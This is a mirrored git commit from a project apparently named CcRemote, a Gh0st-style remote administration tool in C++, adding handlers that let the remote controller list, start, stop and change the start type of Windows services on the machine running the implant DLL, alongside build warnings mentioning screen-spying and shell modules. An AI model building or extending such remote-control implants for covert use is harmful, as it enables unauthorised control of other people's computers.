mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-11 23:09:50 +00:00
服务控制完善,需要管理员权限才可以执行,如果没有权限的话会造成崩溃,需要后续做判断
This commit is contained in:
parent
4ef747d0db
commit
f62203ff80
Binary file not shown.
@ -108,6 +108,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018:
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
ServerManager.cpp
|
ServerManager.cpp
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(290): warning C4102: “defaute”: 未引用的标签
|
||||||
ShellManager.cpp
|
ShellManager.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
|
@ -169,3 +169,125 @@ void CServerManager::SendServicesList()
|
|||||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||||
|
{
|
||||||
|
switch (lpBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_SERVICELIST:
|
||||||
|
SendServicesList();
|
||||||
|
break;
|
||||||
|
case COMMAND_SERVICECONFIG:
|
||||||
|
ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize)
|
||||||
|
{
|
||||||
|
BYTE COMMAND = lpBuffer[0];
|
||||||
|
char *m_ServiceName = (char *)(lpBuffer + 1);
|
||||||
|
|
||||||
|
switch (COMMAND)
|
||||||
|
{
|
||||||
|
case COMMAND_SERVICES_START: //start
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||||
|
if (NULL != hSCManager1)
|
||||||
|
{
|
||||||
|
SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if (NULL != hService1)
|
||||||
|
{
|
||||||
|
StartService(hService1, NULL, NULL);
|
||||||
|
CloseServiceHandle(hService1);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager1);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case COMMAND_SERVICES_STOP: //stop
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||||
|
if (NULL != hSCManager4)
|
||||||
|
{
|
||||||
|
SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if (NULL != hService4)
|
||||||
|
{
|
||||||
|
SERVICE_STATUS stat;
|
||||||
|
ControlService(hService4, SERVICE_CONTROL_STOP, &stat);
|
||||||
|
CloseServiceHandle(hService4);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager4);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case COMMAND_SERVICES_AUTO: //auto
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||||
|
if (NULL != hSCManager2)
|
||||||
|
{
|
||||||
|
SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if (NULL != hService2)
|
||||||
|
{
|
||||||
|
SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2);
|
||||||
|
BOOL stat2 = ChangeServiceConfig(
|
||||||
|
hService2,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
SERVICE_AUTO_START,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
UnlockServiceDatabase(sclLock2);
|
||||||
|
CloseServiceHandle(hService2);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager2);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case COMMAND_SERVICES_MANUAL: // DEMAND_START
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||||
|
if (NULL != hSCManager3)
|
||||||
|
{
|
||||||
|
SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if (NULL != hService3)
|
||||||
|
{
|
||||||
|
SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3);
|
||||||
|
BOOL stat3 = ChangeServiceConfig(
|
||||||
|
hService3,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
SERVICE_DEMAND_START,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
UnlockServiceDatabase(sclLock3);
|
||||||
|
CloseServiceHandle(hService3);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager3);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
defaute:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
@ -16,10 +16,12 @@ class CServerManager : public CManager
|
|||||||
public:
|
public:
|
||||||
CServerManager(CClientSocket *pClient);
|
CServerManager(CClientSocket *pClient);
|
||||||
virtual ~CServerManager();
|
virtual ~CServerManager();
|
||||||
|
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
void SendServicesList();
|
void SendServicesList();
|
||||||
LPBYTE getServerList();
|
LPBYTE getServerList();
|
||||||
|
void ServiceConfig(LPBYTE lpBuffer, UINT nSize);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
||||||
|
Binary file not shown.
@ -198,26 +198,26 @@ void CServerDlg::ServiceConfig(BYTE bCmd)
|
|||||||
void CServerDlg::OnServerStart()
|
void CServerDlg::OnServerStart()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
ServiceConfig(1);
|
ServiceConfig(COMMAND_SERVICES_START);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CServerDlg::OnServerStop()
|
void CServerDlg::OnServerStop()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
ServiceConfig(2);
|
ServiceConfig(COMMAND_SERVICES_STOP);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CServerDlg::OnServerAuto()
|
void CServerDlg::OnServerAuto()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
ServiceConfig(3);
|
ServiceConfig(COMMAND_SERVICES_AUTO);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CServerDlg::OnServerManual()
|
void CServerDlg::OnServerManual()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
ServiceConfig(4);
|
ServiceConfig(COMMAND_SERVICES_MANUAL);
|
||||||
}
|
}
|
||||||
|
Binary file not shown.
@ -78,6 +78,13 @@ enum
|
|||||||
COMMAND_SERVICELIST, // 刷新服务列表
|
COMMAND_SERVICELIST, // 刷新服务列表
|
||||||
COMMAND_SERVICECONFIG, // 服务端发出的标识
|
COMMAND_SERVICECONFIG, // 服务端发出的标识
|
||||||
|
|
||||||
|
// 服务管理的操作
|
||||||
|
COMMAND_SERVICES_START = 0x01, // 启动服务
|
||||||
|
COMMAND_SERVICES_STOP, // 停止服务
|
||||||
|
COMMAND_SERVICES_AUTO, // 启动方式 - 自动启动
|
||||||
|
COMMAND_SERVICES_MANUAL, // 启动方式 - 手动启动
|
||||||
|
|
||||||
|
|
||||||
// 服务端发出的标识
|
// 服务端发出的标识
|
||||||
TOKEN_AUTH = 100, // 要求验证
|
TOKEN_AUTH = 100, // 要求验证
|
||||||
TOKEN_HEARTBEAT, // 心跳包
|
TOKEN_HEARTBEAT, // 心跳包
|
||||||
|
Loading…
x
Reference in New Issue
Block a user